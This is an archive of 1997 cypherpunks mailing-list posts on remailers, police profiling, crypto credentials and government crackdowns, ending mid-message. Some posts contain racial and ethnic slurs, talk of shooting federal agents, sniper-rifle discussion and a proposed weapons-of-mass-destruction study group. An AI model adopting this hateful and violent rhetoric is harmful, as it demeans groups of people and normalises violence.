Subject: December's Phrase
Message-ID: <34815354.5A7@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



With November drawing to a close, WE will be winding down OUR use of
the phrase, "ad hominem."
The Official CypherPunk Phrase of the Month, for December, will be:
  "Ad gaolas deliberandas"

Any disputes over the proper meaning and use of this phrase will be
settled by Jim Bell's judge (once he comes out of hiding).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <Use-Author-Address-Header@[127.1]>
Date: Sun, 30 Nov 1997 19:12:33 +0800
To: mail2news@basement.replay.com
Subject: Re: Another Anti-Privacy Bigot Heard From (was: The Guilmette/Burnore deba
In-Reply-To: <slrn67eevb.fjb.sjsobol@devel.nacs.net>
Message-ID: <ec245f85c0797976e6237c8c77306649@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



gburnore@netcom.com (Gary L. Burnore) wrote:

> On Sun, 30 Nov 1997 03:48:14 GMT, eridani+spam@netcom.com wrote:
> 
> : In article <c87feca75aa95fb3e51fe7ad0c72f17d@anonymous.poster>,
> : Anonymous <Use-Author-Address-Header@[127.1]>  wrote:
> : [same ole same ole]
> : 
> : Gary said THE anon asshole.  That's you, bubba.  Your writing style and
> : your tiresome beating of the same old drum give you away every time.  
> : 
> : Don't try to make this into Gary L. Burnore (and me, of course, don't
> : forget me) against everyone who posts anonymously.  It wasn't that way
> : from the start and it ain't that way now.  This is about YOU and the
> : smear campaign that YOU conduct from behind an anonymous remailer.
> 
> The anonasshole is now working on his "way out of this".  Expect many more of
> his posts to contain bits of how more than one person posting anonymously is
> making the accusations.   All is falling down around the anonasshole. 
>  
> : <cue more lies and distortions from THE anon cretin>
> 
> We'd expect no less.  I do wonder how long it will take before those who
> believe remailers are a good thing start to realise this asshole has it in for
> them.  Everything it posts could be used by the anti-remailer front as a
> reason to shut them all down.
> 
> 
>          gburnore@netcom dot com   or  gburnore@netcom databasix com          
> ---------------------------------------------------------------------------
>                   How you look depends on where you go.
> ---------------------------------------------------------------------------
> Gary L. Burnore                       |  ÝÛ³ºÝ³Þ³ºÝ³³ÝÛºÝ³Þ³ºÝ³Ý³Þ³ºÝ³ÝÝÛ³
>                                       |  ÝÛ³ºÝ³Þ³ºÝ³³ÝÛºÝ³Þ³ºÝ³Ý³Þ³ºÝ³ÝÝÛ³
> DOH!                                  |  ÝÛ³ºÝ³Þ³ºÝ³³ÝÛºÝ³Þ³ºÝ³Ý³Þ³ºÝ³ÝÝÛ³
>                                       |  ÝÛ³ 3 4 1 4 2  Ý³Þ³ 6 9 0 6 9 ÝÛ³
> spamgard(tm):  zamboni                |     Official Proof of Purchase
> ===========================================================================
>              PGPprint: C63B CF4E 1B71 4D7E C6F8 AF4E 338D 5CB4
>     KeyID: 0x0F7EDBD9 (RSA)     finger gburnore@netcom.com for public key
> ---------------------------------------------------------------------------

That was an impressive tantrum that you and Belinda just staged.  I
suppose you thought it would distract attention from the fact that
you still refuse to reveal what your motive was for harassing Jeff
Burchell this summer in a failed attempt to get him to turn over the
logs containing the names and e-mail addresses of everyone who
either sent or received an anonymous message through his remailer.

Your attempt to spread F.U.D. (fear, uncertainty, and doubt) among
the remailer user community is reminiscent of the "Church" of
$cientology's similarly rabid anti-remailer tactics.  Your fanciful
posts about "anonymous assholes", "cyber stalkers", and other bovine
excrement don't even make good fiction anymore.  I'll take ElRon's
sci-fi over yours any day.

If posts from "anon assholes" really offend your sensitive feelings,
then you might want to stay away from most of the NGs where you've
been posting your blather.  SUGGESTION: stick with "safe" groups
like comp.org.cauce where anonymous posts are banned and content is
censo^h^h^h^h^hmoderated to ensure an appropriate level of political
correctness.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 30 Nov 1997 19:46:13 +0800
To: cypherpunks@toad.com
Subject: Re: Anti-Message
Message-ID: <f4032a4ed89492586e92c98454eb81bb@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> 
> "On the Internet nobody knows I'm a dog unless I want them to,"
> to rephrase a well known cartoon.

  Wasn't that Toto, explaining why he/she is a Master Baiter of
Deception?

> Anonymous wrote:
> 
> >Cypherpunk technologies will be a major force to eliminate racism.
> >With privacy protected transactions, the color of a person's skin, his
> >religion and his ethnicity are no longer apparent.

  This is why it is essential to take every opportunity to attack
the virtual ethinicity of nyms such as NoNookie Masturbateshi.
  In a world that threatens to reduce us all to a nameless, faceless
collection of bits and bytes, ones and zeros, it is essential that
we hang on, as long as possible, to those things which may serve as
tools to separate us from one another, thus helping to keep us from 
becoming nothing more than generic fodder for the New Electronic 
World Order.

> >Cypherpunks need to build bridges to minority communities, to show them
> >how these technologies can advance their cause.

  Cypherpunks need to burn bridges to the wolves clothing themselves
with the flag of democracy, who are attempting to form us all into
'equal' socialist cogs designed to serve the Evil Machine.
  Cypherpunks need to show minorities how new technologies can be
used to retain and strengthen the differences between individuals,
and to evolve new, virtual minorities.

> Why not set up a website where minority websurfers could go to read about
> privacy issues and how pseudonymity is to their (and everyone's) benefit.

  So that we can live in a world where hockey players are no longer
allowed to settle their own differences and do their time in the
penalty box, but are, instead, sent for 'sensitivity training' when
they commit Politically Incorrect infractions during a game?

> After all, how can another person discriminate against you when that person
> knows practically nothing about you (e.g., name, age, race, religion,
> geographic location, etc)?  

  Easy as pie...
  They can discriminate against you based on the virtual model of 
you that they build, based on what you reveal about yourself via 
your thoughts and attitudes, you young, commie-pinko, nigger-loving,
Jew-hating, northern lattitude, piece of shit cocksucker!

> This would be an excellent way to expand
> cypherpunk technologies, don't you think?

  Fuck no!
  Cypherpunk technologies should be used to enable individuals to
build and join in new ElectroMagnetic minorities of their own choosing,
as they find their individuality being slowly stripped away by the 
New DEMOCoRporATIC World Order.
  Cypherpunks should prepare the citizens of the Information Age to
use and develop the ElectroMagnetic tools which will allow us to
survive in freedom, choosing our own allies and enemies, our own
fate, in a virtual world where wars will be fought over privacy,
access, bandwidth, virtual identity...

  ElectroMagnetic Hitler only wants .gov...
  "They came for the 0's, and I wasn't a 0, so I didn't speak up..."
  When Freeh was Fuhrer, the email ran on time...
  From each, according to his CPU speed--to each, according to his 
    baud-rate...
  Give me access, or give me death...
  The rights of the citizen to encrypt data shall not be abridged...

Nervous






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: attila <attila@primenet.com>
Date: Sun, 30 Nov 1997 17:09:36 +0800
To: Tim May <tcmay@got.net>
Subject: Re: If you fought to defend your country...
In-Reply-To: <v03102803b0a6b4e40d3f@[207.167.93.63]>
Message-ID: <Pine.BSI.3.96.971130084225.2104A-100000@usr07.primenet.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 29 Nov 1997, Tim May wrote:

> At 3:33 PM -0700 11/29/97, TruthMonger wrote:
> >...you fit the 'profile' of the OKC bomber.
> >
> >Be afraid...be very afraid.
> 
   hell, I didnt go to defend me country; Arlo wrote that song dancing
   with the shrink --but I went to kill my share.

> Or tell them to fuck off.
> 
> I was stopped by the storm troopers on the Stanford University campus for
> this reason--"you fit the profile"--and asked to let them inspect my
> briefcase and jacket pockets. I stood my ground and said "No."
> 
    well, that's good so far. of course, you are ornery enough to stick up
    for your rights --what few we have that have not been fucked over
    totally by Bubba who sees no reason for privacy since only crooks have
    reason not to be transparent.

> Of course, Stanford being private property, they escorted me off the campus.
> 
    aint much that is important enough to put up with those attitudes.
    we are what we are --start bending over to polish the apple and you'll
    be just like them.

> (However, it was Stanford Sheriffs, representing the (alleged) city of
> Stanford, CA, who did the stop-and-escort-off routine, so one wonders about
> the lines being blurred between private and governmental functions.)
> 
    Stanford was in Palo Alto the last time I looked... is the "City of
    Stanford" a new chartered entity inside Palo Alto? to permit "real"
    law enforcement, not just hired guns?


> As computers proliferate, "fitting the profile" is becoming the de facto
> way to stop any suspicious persons, or others they want to harass.
> 
    yup. either look like the average joe couch potato or expect to be 
    profiled out for special treatment.  anyone with the fire still
    burning in their eyes is obviously some sort of maniac with a 
    problem.  "yes, officer, I just happen to normally carry a gallon
    of naplam in my briefcase... it's my lunch down at the circus."

    maybe Chelsea has them all nervous. 

> --Tim May
> 
> The Feds have shown their hand: they want a ban on domestic cryptography
>
   no, Tim, F{reeh,uck} wants a biochip to go along with the highway
   sensors for your car.

	attila out  ...again.

__________________________________________________________________________
    go not unto usenet for advice, for the inhabitants thereof will say:
      yes, and no, and maybe, and I don't know, and fuck-off.
_________________________________________________________________ attila__

    To be a ruler of men, you need at least 12 inches....
    There is no safety this side of the grave.  Never was; never will be.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 1 Dec 1997 03:21:24 +0800
To: cypherpunks@Algebra.COM
Subject: Updating the white bit
In-Reply-To: <199711301603.RAA23723@basement.replay.com>
Message-ID: <v03102807b0a75b532766@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:03 AM -0700 11/30/97, Anonymous wrote:

>Anonymous <nobody@REPLAY.COM> wrote:

>>Cypherpunk technologies will be a major force to eliminate racism.
>>With privacy protected transactions, the color of a person's skin,
>>his religion and his ethnicity are no longer apparent.  People will
>>be able to succeed on merit - and not the "good old boys" definition
>>of merit, where somehow only white males seem to have what it takes.
>
>White males are a minority group.  Also, I believe you are
>overestimating the effects of racism when it comes to hiring talented
>technical professionals.  If not, there is a tremondous arbitrage
>opportunity out there.
>
>Monty Cantsin
>Editor in Chief

And the original comment above, that cypherpunk technologies will be a
major force to eliminate racism is only part of the picture....the
technologies also allow race to be considered as participants choose.

There is no reason the Chaumian ideas of credentials, usually with the
example of "age credentials," cannot be trivially extended to race or
gender or whatever credentials. As I wrote in an article which may
(someday) see print in a book about "true names":

"A "politically incorrect" usage of these virtual communities is to use
"race bits" to bar membership by certain races in such communities. This
can even be done without violating the protection of a nym, using the idea
of a "credential without identity." For example, the Aryan Cybernation
could demand that a credential be displayed showing one to be a Caucasian.
Ironically, an equivalent example, but one which is deemed politically
correct by many, is the example of "women-only" forums on the Net. In this
case, a woman could gain access to a women-only forum by demonstrating
possession of a credential with the appropriate gender bit set. (At the
simplest level, this can be done by having other women "vouch" for a
candidate, digitally signing a statement which the candidate presents. A
more robust system, with less opportunity for false use or false transfer
(perhaps to a male, horrors!) would be to implement Chaum's credentials
without identity scheme. But the point is to show how virtual communities
can establish their own access rules and their own enforcement mechanisms."

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 1 Dec 1997 03:42:43 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: Freemen and Serfs
In-Reply-To: <v03102806b0a6dbb52bae@[207.167.93.63]>
Message-ID: <v03102808b0a75dbeb8b4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:10 PM -0700 11/30/97, Lucky Green wrote:
>On Sun, 30 Nov 1997, Tim May wrote:
>>
>> Sure, and I've said the same thing many times. The governments of the world
>> are cracking down on "illegal thoughts," and illegal vegetables, illegal
>> defense items, illegal television programs, and on and on. At the same
>> time, bootleg channels are proliferating, copyright is being skirted, money
>> laundering is exploding, and on and on.
>
>I am told that the recent criminalization of warez has led to a rush on
>crypto by the warez crowd. A certain Internet juke box I am aware of and
>which is serving months worth of uninterupted MP3's just might add SSL
>with client certs.

And look for "copyright violators" to be sold to the public as a Fifth
Horsemen. It may be a tough sell, claiming that those who sell CD-ROMs of
Microsoft Office in Bangkok for $10 are on a par with nuclear terrorists,
but the drumbeats of the WIPO (I think it is called), the OECD, the GATT,
Software Publishers Association, etc., and  concerned interest by Clinton
and Magaziner and the rest of the Gang of the West (sorry for drifting into
Youngspeak here) will cause more crackdowns. After all, if the SPA can
initiate uninvited visits on corporations to look for unregistered copies
of WordPerfect, surely the SPA/GATT/WIPO can order raids on C2Net for
selling "unbreakable crypto" to "software pirates"?

(Cynics might see increased enforcment of Microsoft's claimed property
rights as part of the quid pro quo in the deal they eventually cut with the
Justice Department, the consent decree MS enters into AND the consent
decree Justice secretly enteres into. Such things are hardly new...it's how
the New World Order Military-Industrial Complex has _always_ conducted
business. Pressure is applied, deals are negotiated, and Cabinet officials
become senior corporate officers after leaving the Beltway Swamp...and they
don't even leave the swamp itself, except in title. )

>> The crackdown has the effect of making the sheeple even more obedient and
>> making the adventurers (the wolves?) even bolder. Technology works for
>> those who use it.
>>
>> Very Nietzscheian.
>
>Futhermore, if using crypto gets you the gas chamber and putting a
>bullet through the head of a fed gets you the gas chamber, it stands  to
>reason that more otherwise benign crypto users will be willing to put
>bullets through the heads of feds. See the war on illegal vegetables.

Yep. Some of the cops I encounter at the range and elsewhere are _very_
nervous about the War on Nearly Everything that is going on. They
understand that making more and more things felonies, and mandatory
sentencing guidelines, is turning law enforcement increasingly into a
military situation. Like Chicago during the height of Prohibition, where
the Thompson submachine gun gained fame...and for unsurprisingly similar
reasons....

Cops see the "other side" as having little to lose by responding in kind
with firefights.

(I was chatting with a guy yesterday about a Steyr SSG sniper rifle I've
had my eyes on. With a Kahles scope and match grade ammo, it's been shown
to produce 9-inch groups at 1000 yards...just the thing for reaching out
and touching someone. It turned out, after we'd talked for a while that
he's with the SWAT team for one of the local major counties. He understands
full well that many of those he may be called to go up against are
equipping themselves with the most advanced countersniping weaponry
available to anyone. )

As Lucky and others have noted, if the sentence for drug- or gun-dealing is
death, as it is in more and more countries (when bribery fails, of course),
then law enforcement will increasingly lead to Waco-type
standoffs...military firefights.

If this be war, unleash the dogs of war, or make the most of it, or however
that line goes.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 1 Dec 1997 06:12:23 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Freemen and Serfs
In-Reply-To: <Pine.BSF.3.96.971130195826.3548B-100000@pakastelohi.cypherpunks.to>
Message-ID: <3.0.3.32.19971130140345.007434d0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:36 AM 11/30/1997 -0700, Tim May wrote:
>And look for "copyright violators" to be sold to the public as a Fifth
>Horsemen. It may be a tough sell, claiming that those who sell CD-ROMs of
>Microsoft Office in Bangkok for $10 are on a par with nuclear terrorists,

It's not a tough sell at all, just a different sell.
Rather than terrorizing businesses about NuclearNarcoPornoChildTerrorists,
you encourage them into supporting Insured Key Management Hierarchies and
Subpoenable Encryption, giving them protection against Intellectual 
Property Bandits at the minor cost of their own security,
so _they_ won't get in the way of terrorizing the public,
because they've got their business cases covered.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 1 Dec 1997 06:36:06 +0800
To: attila@primenet.com
Subject: Re: If you fought to defend your country...
In-Reply-To: <Pine.BSI.3.96.971130084225.2104A-100000@usr07.primenet.com>
Message-ID: <199711302208.OAA11727@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



attila writes:
> On Sat, 29 Nov 1997, Tim May wrote:
> > 
> > I was stopped by the storm troopers on the Stanford University campus for
> > this reason--"you fit the profile"--and asked to let them inspect my
> > briefcase and jacket pockets. I stood my ground and said "No."

[..] 

> > Of course, Stanford being private property, they escorted me off the campus.

[..]

> > (However, it was Stanford Sheriffs, representing the (alleged) city of
> > Stanford, CA, who did the stop-and-escort-off routine, so one wonders about
> > the lines being blurred between private and governmental functions.)
> > 
>     Stanford was in Palo Alto the last time I looked... is the "City of
>     Stanford" a new chartered entity inside Palo Alto? to permit "real"
>     law enforcement, not just hired guns?

Stanford used to be a real town.  Palo Alto annexed a number of
surrounding smaller towns in the 50s.  The town of Mayfield is one; it
consisted of the area just south and east of Stanford, where California
street is now.

Of course if you follow private property rights to their full extent,
its within Stanford's rights to escort Tim off the premises for whatever
reason they want, including simply not liking the way he looks ("fitting
the profile").  However Stanford isn't a purely private institution since
they take government money for research contracts and the like.


>     maybe Chelsea has them all nervous. 

Sure.  And having something bad happen to her while at Stanford will
get the university pilloried in the press; while harassing a few
people who "fit the profile" will probably get them kudos or at
the worst some rants in non-mainstream press.  It's not the fault of
Stanford's rulers-- they're just responding to what we as a soceity
tell them that we want: safety over freedom.



-- 
Eric Murray  Chief Security Scientist  N*Able Technologies  www.nabletech.com
(email:  ericm  at  lne.com   or   nabletech.com)          PGP keyid:E03F65E5





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 1 Dec 1997 04:58:00 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: At night, the ice weasels come...
In-Reply-To: <mRsyge2w165w@bwalk.dm.com>
Message-ID: <Pine.BSF.3.91.971130142335.21368A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Sat, 29 Nov 1997, Dr.Dimitri Vulis KOTM wrote:

> TruthMonger <tm@dev.null> writes:
> 
> > http://www.pretext.com/nov97/short3.htm
> >
> > "Don't get me wrong. I'm not a technophobe. I just think people need to
> > practice safe surfing," Cottrell says.
> >  "In some ways the Anonymizer is the virtual condom."
> 
> What will Cottrell do if someone uses his anonymizer(R)[TM] to connect to
> someone's web server many times in a row, requesting the same pages, and
> the admins of said server whine about "denial of service" attacks?
> 

Make sure you turn off your local cache, Dr.

Anonymizer could also cache frequently requested pages. Also, there are a 
lot better ways to launch an anonymous DoS than to load pages off a 
server via an anonymous proxy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Mon, 1 Dec 1997 08:46:31 +0800
To: attila <tcmay@got.net>
Subject: Re: If you fought to defend your country...
In-Reply-To: <v03102803b0a6b4e40d3f@[207.167.93.63]>
Message-ID: <3.0.3.32.19971130155457.006c6c5c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 09:03 AM 11/30/97 +0000, attila wrote:
>    To be a ruler of men, you need at least 12 inches....

Yeah, but 18 inches gives a much tighter shot pattern...

-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNIH8z8JF0kXqpw3MEQIOQgCgvvlSB56mWMZ1b7XYb62koKYe+AUAoP3V
8w7qR6NDBnBEG0H7Uqs/RcEE
=l3XG
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Mon, 1 Dec 1997 08:46:18 +0800
To: Tim May <shamrock@cypherpunks.to>
Subject: Re: Freemen and Serfs
In-Reply-To: <Pine.BSF.3.96.971130195826.3548B-100000@pakastelohi.cypherpunks.to>
Message-ID: <3.0.3.32.19971130161144.006c9bc8@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 11:36 AM 11/30/97 -0700, Tim May wrote:
>(I was chatting with a guy yesterday about a Steyr SSG sniper rifle I've
>had my eyes on. With a Kahles scope and match grade ammo, it's been shown
>to produce 9-inch groups at 1000 yards...just the thing for reaching out
>and touching someone. It turned out, after we'd talked for a while that
>he's with the SWAT team for one of the local major counties. He
understands
>full well that many of those he may be called to go up against are
>equipping themselves with the most advanced countersniping weaponry
>available to anyone. )

What round does this thing fire?  .223 Rem, .270 Win, .30-06, or .22LR
(Just kidding!)?
BTW, what kind of groups can I expect to get from a MAK-90?

>As Lucky and others have noted, if the sentence for drug- or gun-dealing
is
>death, as it is in more and more countries (when bribery fails, of
course),
>then law enforcement will increasingly lead to Waco-type
>standoffs...military firefights.

Sounds like "If I'm dead anyway, I might as well take as many as I can with
me."  God help us if we ever come to that, because it would be ugly.

>If this be war, unleash the dogs of war, or make the most of it, or
however
>that line goes.

"If this be treason, let us make the most of it." -- Patrick Henry
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNIIAvsJF0kXqpw3MEQK79gCfTU9TNUYu8W7C7/xD6+9UhqP4MBAAoNPY
KN7+qZhrSmMN70B1GrYa8YGk
=32aR
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 1 Dec 1997 00:13:57 +0800
To: cypherpunks@Algebra.COM
Subject: Re: New free speech oriented civil rights site
Message-ID: <199711301603.RAA23723@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Anonymous <nobody@REPLAY.COM> wrote:
>Cypherpunks need to build bridges to minority communities, to show
>them how these technologies can advance their cause.

Members of abused minority groups should be pretty much in sync with a
lot of concerns held by cypherpunks.  When we talk about police
brutality and concentration camps, most of us, as well as our friends
and relatives, have little direct experience.  This is not true of
many members of minority groups.

Sounds like a nice project.  Good luck!

>Racist comments by supposedly respected list members are harmful and
>must be countered in order to show that these views do not reflect
>the feelings of most cypherpunks.

If we do our job properly, the cypherpunk public image won't
matter. ;-)

>Cypherpunk technologies will be a major force to eliminate racism.
>With privacy protected transactions, the color of a person's skin,
>his religion and his ethnicity are no longer apparent.  People will
>be able to succeed on merit - and not the "good old boys" definition
>of merit, where somehow only white males seem to have what it takes.

White males are a minority group.  Also, I believe you are
overestimating the effects of racism when it comes to hiring talented
technical professionals.  If not, there is a tremondous arbitrage
opportunity out there.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNHuIqJaWtjSmRH/5AQHkxAf/VzMTu+RlDclEyiBJQ+79rGjZDa+M2G9E
cRoHdL42kxa4FBTHOa7v+unqBXI1tLuz2AqGJFuAPQTSu3FIh4xR3BfHj3q35qOX
NpkqH7bVNNgY/DUnB6vIxjgCkEu+GNDEtIuuCuKU0wCW8IJBe/iDIBDLDQZQUuVt
DJk19LnyZ0DO1cfmJquJiyh3hIECowEnXHODwhybM9hzHq+l0xrgjmQ5deIOhXuY
KH7QiQn8nv5wEYeantDsfTfitHfUIZKge4eLrLNqeva4E8sgf7CQrt3vEw+rjhXP
WLnvYbsCLOLQOdjIQA3c0DG9a0HU28oecHcUG0IeZ+sgwDWf61J+KA==
=tuE3
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Tue, 2 Dec 1997 08:05:10 +0800
To: Lucky Green <tcmay@got.net>
Subject: Re: Death Penalty Expanded
In-Reply-To: <v03102805b0a6d8a372fc@[207.167.93.63]>
Message-ID: <v03102801b0a7c06e99fe@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>On a completely unrelated note, is there some interest in starting up a
>"Cypherpunks Nuclear Physics Study Group"? I recently finished reading
>"The Curve of Binding Energy". Fascinating book.

Yes, but how about expanding the focus generally to WOMD (Weapons of Mass Destruction)?

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 1 Dec 1997 07:12:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Minsky skeptical of privacy
Message-ID: <1.5.4.32.19971130230635.0075c5dc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Monty Cantsin wrote:

>Incidentally, does anybody know what percentage of the research
>funding Marvin Minsky has used in his career was directly or
>indirectly related to the defense establishment?
>
>The interesting thing about the privacy "debate" is that there is an
>exceptionally high correlation between opposition to privacy and the
>consumption of public money.

Monty's customary reasonableness goes bizarro with these statements.

In that direct or indirect defense funding implicates just about every
US citizen, even world denizen, not holed up in a treetop for the last 
half century of national security octopussing.

This is not to say that that's the way it should be, just that defense
funding has been the deep pocket for nearly every commonweal
at least since WW II. 

And the same for the future appears to hold true as every federal
state and local government eagerly calibrate their demands for 
urgent aid according to national and economic security guidelines -- 
dual use brought into the open as heretofore hidden by duplicity.

Under national security programs DoD has funded through its 
pervasive tentacles scientists and mathematicians, libertarians 
and socialists, elite and trailer trash, Wall Street and underworld, 
on and on. Not a chance of stopping it any time soon.

It is doubtful that any other more bountiful and widespread source of 
condoned bribery has ever existed, and it shows no sign of
slackening, in the US or elsewhere, whether democracies, oligarchies, 
communist, or offshore outlaw, even allowing for the burgeoning private
armies, cops, gun faith forces, each loading up with new and "surplus"
arms.

Curiously, when the details of how it all works is pointed out, no one
seems to be bothered by it, except to comlain that others are getting
too much, to wheelle more leads on how to leverage more for their 
affinity gang, and, to conceal sly avarice, to blame the competition
for cheating better.

So, Monty, for comparing to Minsky's well-known federal work at MIT, 
as with many here, how about demonstrating the correlation of your 
work with inescapable defense funding complicity?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 1 Dec 1997 08:34:48 +0800
To: cypherpunks@toad.com
Subject: Re: New free speech oriented civil rights site
In-Reply-To: <199711301603.RAA23723@basement.replay.com>
Message-ID: <eea1ge10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:
> Anonymous <nobody@REPLAY.COM> wrote:
> >Racist comments by supposedly respected list members are harmful and
> >must be countered in order to show that these views do not reflect
> >the feelings of most cypherpunks.
>
> If we do our job properly, the cypherpunk public image won't
> matter. ;-)

I'm the official cypherpunks spokesman and I think japs are ful of shit.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 1 Dec 1997 11:10:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Freemen and Serfs
In-Reply-To: <199712010155.CAA05612@basement.replay.com>
Message-ID: <v03102809b0a7c86dc8d5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:55 PM -0700 11/30/97, Anonymous wrote:
>This model of "sheeple" doomed to slavery while cypherpunks comfortably
>live independent of the state is even less plausible than the original
>idea of crypto anarchy.  It appeals to our elitist instincts and makes
>us feel comfortably superior, but it has little connection to reality.
>
>This idea overlooks the "fax effect", where the value of a technology
>rises in proportion to the number of people who use it.  Cypherpunks will
>have to set up a virtual Galt's Gulch, trading only with themselves,
>and unlike in Rand's fantasy the limitations of such an economy will
>soon be apparent.  Early cypherpunk experiments like "Magic Money"
>showed how pointless a virtual cypherpunk bank would be.

Nope. I haven't claimed anything about an elite group trading amongst
themselves.

Rather, those who use the technology will make more money, and save more of
it, and will then be able to hire out those who failed to, and to buy stuff
made by them.

We've been seeing this for a long time. Not a new concept. For example,
those of us who used our skills and investment inclinations to make a lot
of money are not condemned to "trading only with ourselves." We routinely
trade with others.

We just have a lot more money. (And this applies to the many list members
now working in high tech, obviously.)

Strong crypto will just heighten this effect still further.

>Cypherpunk technologies create a protected boundary within which
>transactions can be conducted free of third party surveillance and
>tampering.  Only by extending this secure boundary to include the
